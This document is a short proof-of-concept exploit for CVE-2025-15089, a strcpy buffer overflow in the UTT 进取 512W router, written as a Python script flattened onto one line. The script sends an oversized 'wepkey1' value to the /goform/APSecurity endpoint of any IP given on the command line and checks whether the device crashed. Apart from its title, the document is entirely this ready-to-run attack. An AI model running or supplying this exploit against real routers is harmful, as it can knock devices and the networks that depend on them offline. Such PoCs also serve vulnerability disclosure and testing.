CVE-2025-15089 UTT 进取 512W 路由器 strcpy 缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15089 PoC - UTT 进取 512W Buffer Overflow in /goform/APSecurity Vulnerability: strcpy buffer overflow via wepkey1 parameter CVSS: 8.8 (High) """ import requests import sys def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in UTT 进取 512W router via the wepkey1 parameter in /goform/APSecurity endpoint. Args: target_ip: Target router IP address target_port: Target HTTP port (default: 80) """ url = f"http://{target_ip}:{target_port}/goform/APSecurity" # Buffer overflow payload - 2000 bytes to overflow the buffer # The exact offset may vary, adjust based on firmware version overflow_payload = "A" * 2000 # Construct the POST data with malicious wepkey1 parameter data = { "wepkey1": overflow_payload, "security_mode": "wep", "wepAuthType": "open" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") # Check if the device crashed or responded unexpectedly if response.status_code != 200: print("[!] Device may have crashed or returned error") return True except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed") return True except requests.exceptions.ConnectionError: print("[!] Connection error - device may be down or crashed") return True except Exception as e: print(f"[!] Error: {str(e)}") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-15089 PoC - UTT 进取 512W Buffer Overflow") print("=" * 60) success = exploit_buffer_overflow(target, port) if success: print("\n[!] Exploit sent - verify device status") else: print("\n[*] Exploit completed - check results manually")